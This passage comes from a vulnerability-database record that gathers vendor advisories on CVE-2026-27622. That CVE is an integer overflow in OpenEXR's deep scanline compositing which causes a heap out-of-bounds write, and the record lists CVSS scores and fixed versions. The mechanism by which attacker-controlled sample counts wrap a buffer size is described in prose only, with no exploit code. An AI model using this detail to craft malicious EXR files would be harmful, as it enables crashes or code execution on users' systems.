attacker-controlled large counts across many parts, `total_sizes[ptr]` wraps modulo `2^32`.\n3. `overall_sample_count` is then derived from wrapped totals and used in `samples[channel].resize(overall_sample_count)`.\n4. Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (`generic_unpack_deep_pointers`) overrun the undersized composite sample buffer.\n\n\nAllocation is based on a tiny wrapped value, but decode writes correspond to the true large sample volume.\n\n## Impact\n\nHeap OOB write during decode. This is at minimum a reliable crash/DoS. As heap corruption, this bug could be used for potential remote code execution.","status":"published","published":"2026-07-13T14:36:39.836438Z","modified":"2026-07-13T16:32:32.942872302Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T15:52:56.429374Z"},{"id":"RHSA-2026:12338","title":"Red Hat Security Advisory: OpenEXR security update","status":"published","published":"2026-05-01T10:22:41Z","modified":"2026-10-03T10:05:12Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:18.066978Z"},{"id":"RHSA-2026:12339","title":"Red Hat Security Advisory: OpenEXR security update","status":"published","published":"2026-05-01T10:22:42Z","modified":"2026-10-03T10:05:12Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:18.066978Z"},{"id":"RHSA-2026:12340","title":"Red Hat Security Advisory: OpenEXR security update","status":"published","published":"2026-05-01T10:22:42Z","modified":"2026-10-03T10:05:13Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:18.066978Z"},{"id":"RHSA-2026:12341","title":"Red Hat Security Advisory: OpenEXR security update","status":"published","published":"2026-05-01T10:22:42Z","modified":"2026-10-03T10:05:13Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:18.066978Z"},{"id":"RHSA-2026:7678","title":"Red Hat Security Advisory: openexr security update","status":"published","published":"2026-04-13T10:07:25Z","modified":"2026-10-03T10:17:10Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:7682","title":"Red Hat Security Advisory: openexr security update","status":"published","published":"2026-04-13T10:07:27Z","modified":"2026-10-03T10:17:11Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:8863","title":"Red Hat Security Advisory: OpenEXR security update","status":"published","published":"2026-04-20T10:12:26Z","modified":"2026-10-03T10:17:37Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:23.547034Z"},{"id":"RHSA-2026:8869","title":"Red Hat Security Advisory: openexr security update","status":"published","published":"2026-04-20T10:12:29Z","modified":"2026-10-03T10:17:38Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:23.547034Z"},{"id":"RHSA-2026:8870","title":"Red Hat Security Advisory: openexr security update","status":"published","published":"2026-04-20T10:12:29Z","modified":"2026-10-03T10:17:38Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:23.547034Z"},{"id":"RHSA-2026:8871","title":"Red Hat Security Advisory: openexr security update","status":"published","published":"2026-04-20T10:12:30Z","modified":"2026-10-03T10:17:39Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:23.547034Z"},{"id":"RHSA-2026:8872","title":"Red Hat Security Advisory: openexr security update","status":"published","published":"2026-04-20T10:12:31Z","modified":"2026-10-03T10:17:39Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:23.547034Z"},{"id":"RHSA-2026:8888","title":"Red Hat Security Advisory: openexr security update","status":"published","published":"2026-04-20T10:12:39Z","modified":"2026-10-03T10:17:43Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:23.969672Z"},{"id":"RLSA-2026:7682","title":"Important: openexr security update","description":"OpenEXR is an open-source high-dynamic-range floating-point image file format for high-quality image processing and storage. This document presents a brief overview of OpenEXR and explains concepts that are specific to this format.  This package containes the binaries for OpenEXR.\n\nSecurity Fix(es):\n\n* openexr: OpenEXR: Arbitrary code execution via integer overflow in EXR file processing (CVE-2026-27622)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.","status":"published","published":"2026-04-16T18:06:57.072014Z","modified":"2026-04-16T18:30:04.00207Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:26.449929Z"},{"id":"RLSA-2026:8863","title":"Important: OpenEXR security update","description":"OpenEXR is a high dynamic-range (HDR) image file format developed by Industrial Light \u0026 Magic for use in computer imaging applications. This package contains libraries and sample applications for handling the format. \n\nSecurity Fix(es):\n\n* openexr: OpenEXR: Arbitrary code execution via integer overflow in EXR file processing (CVE-2026-27622)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.","status":"published","published":"2026-04-23T12:01:08.67187Z","modified":"2026-04-23T12:31:05.620331Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:26.76659Z"},{"id":"RLSA-2026:8888","title":"Important: openexr security update","description":"OpenEXR is an open-source high-dynamic-range floating-point image file format for high-quality image processing and storage. This document presents a brief overview of OpenEXR and explains concepts that are specific to this format.  This package containes the binaries for OpenEXR.\n\nSecurity Fix(es):\n\n* openexr: OpenEXR: Arbitrary code execution via integer overflow in EXR file processing (CVE-2026-27622)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.","status":"published","published":"2026-04-21T12:03:54.560238Z","modified":"2026-04-21T12:30:15.332222Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:26.76659Z"},{"id":"ROOT-OS-DEBIAN-11-CVE-2026-27622","title":"CVE-2026-27622 in openexr - Patched by Root","description":"Root has patched CVE-2026-27622 in the openexr package for Root:Debian:11. Multiple fixed versions available.","status":"published","published":"2026-09-02T12:13:16Z","modified":"2026-09-02T14:00:11.50094069Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:29.900552Z"},{"id":"ROOT-OS-DEBIAN-12-CVE-2026-27622","title":"CVE-2026-27622 in openexr - Patched by Root","description":"Root has patched CVE-2026-27622 in the openexr package for Root:Debian:12. Multiple fixed versions available.","status":"published","published":"2026-09-02T11:23:23Z","modified":"2026-09-02T12:30:04.165730548Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:31.773105Z"},{"id":"ROOT-OS-DEBIAN-13-CVE-2026-27622","title":"CVE-2026-27622 in openexr - Patched by Root","description":"Root has patched CVE-2026-27622 in the openexr package for Root:Debian:13. Multiple fixed versions available.","status":"published","published":"2026-09-02T12:18:43Z","modified":"2026-09-02T14:00:11.708913543Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:33.415244Z"},{"id":"UBUNTU-CVE-2026-27622","description":"OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector\u003cunsigned int\u003e total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.","status":"published","published":"2026-03-03T23:15:00Z","modified":"2026-10-27T04:17:54.149385842Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"},{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T16:56:08.726452Z"},{"id":"ALSA-2026:7682","title":"Important: openexr security update","description":"OpenEXR is an open-source high-dynamic-range floating-point image file format for high-quality image processing and storage. This document presents a brief overview of OpenEXR and explains concepts that are specific to this format. This package containes the binaries for OpenEXR.  \n\nSecurity Fix(es):  \n\n  * openexr: OpenEXR: Arbitrary code execution via integer overflow in EXR file processing (CVE-2026-27622)\n\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n","status":"published","published":"2026-04-13T00:00:00Z","modified":"2026-10-29T11:58:14.902631Z","updated_at":"2026-11-02T15:27:55.200553Z"},{"id":"ALSA-2026:8863","title":"Important: OpenEXR security update","description":"OpenEXR is a high dynamic-range (HDR) image file format developed by Industrial Light \u0026 Magic for use in computer imaging applications. This package contains libraries and sample applications for handling the format.   \n\nSecurity Fix(es):  \n\n  * openexr: OpenEXR: Arbitrary code execution via integer overflow in EXR file processing (CVE-2026-27622)\n\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n","status":"published","published":"2026-04-20T00:00:00Z","modified":"2026-10-29T11:02:25.509936637Z","updated_at":"2026-11-02T15:27:57.367731Z"},{"id":"ALSA-2026:8888","title":"Important: openexr security update","description":"OpenEXR is an open-source high-dynamic-range floating-point image file format for high-quality image processing and storage. This document presents a brief overview of OpenEXR and explains concepts that are specific to this format. This package containes the binaries for OpenEXR.  \n\nSecurity Fix(es):  \n\n  * openexr: OpenEXR: Arbitrary code execution via integer overflow in EXR file processing (CVE-2026-27622)\n\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n","status":"published","published":"2026-04-20T00:00:00Z","modified":"2026-10-29T11:32:32.797025403Z","updated_at":"2026-11-02T15:27:57.367731Z"},{"id":"CLSA-2026-1773831456","title":"openexr: Fix of CVE-2026-27622","description":"- CVE-2026-27622: fix integer overflow in CompositeDeepScanLine leading to heap\n  buffer overflow","status":"published","published":"2026-03-18T10:57:40Z","modified":"2026-06-01T00:32:43.163931971Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1774604404","title":"openexr: Fix of CVE-2026-27622","description":"- CVE-2026-27622: fix integer overflow in CompositeDeepScanLine leading to\n  heap buffer overflow","status":"published","published":"2026-03-27T09:40:09Z","modified":"2026-06-01T00:32:10.809065596Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1787317469","title":"Fix CVE(s): CVE-2026-27622","description":"   * SECURITY UPDATE: Integer overflow in deep scanline compositing\n     - debian/patches/CVE-2026-27622.patch: reject deep pixels claiming more\n       than UINT_MAX samples in IlmImf/ImfCompositeDeepScanLine.cpp.\n     - CVE-2026-27622","status":"published","published":"2026-08-21T13:04:40Z","modified":"2026-10-26T09:31:47.555476096Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"openSUSE-SU-2026:10303-1","title":"libIex-3_4-33-3.4.6-1.1 on GA media","description":"These are all security issues fixed in the libIex-3_4-33-3.4.6-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-03-07T00:00:00Z","modified":"2026-03-08T15:45:06.268224Z","updated_at":"2026-11-02T16:58:38.101535Z"},{"id":"openSUSE-SU-2026:20433-1","title":"Security update for openexr","description":"This update for openexr fixes the following issue:\n\n- CVE-2026-27622: crafted multipart deep EXR can cause an heap out-of-bound write (bsc#1259177).\n","status":"published","published":"2026-03-26T10:03:06Z","modified":"2026-04-03T17:25:51.334094Z","updated_at":"2026-11-02T16:58:41.463445Z"},{"id":"SUSE-SU-2026:20936-1","title":"Security update for openexr","description":"This update for openexr fixes the following issue:\n\n- CVE-2026-27622: crafted multipart deep EXR can cause an heap out-of-bound write (bsc#1259177).\n","status":"published","published":"2026-03-26T10:00:01Z","modified":"2026-04-02T17:24:57.805235Z","updated_at":"2026-11-02T15:54:01.953589Z"},{"id":"USN-8259-1","title":"openexr vulnerabilities","description":"Quang Luong discovered that OpenEXR incorrectly handled sample count\naccumulation when processing deep scan line image files. An attacker could\npossibly use this issue to cause OpenEXR to crash, resulting in a denial of\nservice, or execute arbitrary code. (CVE-2026-27622)\n\nIt was discovered that OpenEXR had an integer overflow in the PXR24\ndecoder. An attacker could possibly use this issue to cause OpenEXR to\ncrash, resulting in a denial of service, or execute arbitrary code.\nThis issue only affected Ubuntu 24.04 LTS and Ubuntu 26.04 LTS.\n(CVE-2026-34380)\n\nQuang Luong discovered that OpenEXR had a signed integer overflow in the\nPIZ decoder. An attacker could possibly use this issue to cause OpenEXR to\ncrash, resulting in a denial of service, or execute arbitrary code. This\nissue only affected Ubuntu 24.04 LTS and Ubuntu 26.04 LTS. (CVE-2026-34588)","status":"published","published":"2026-05-07T15:37:21Z","modified":"2026-10-27T04:15:33.519792176Z","updated_at":"2026-11-02T16:58:22.951676Z"}]}}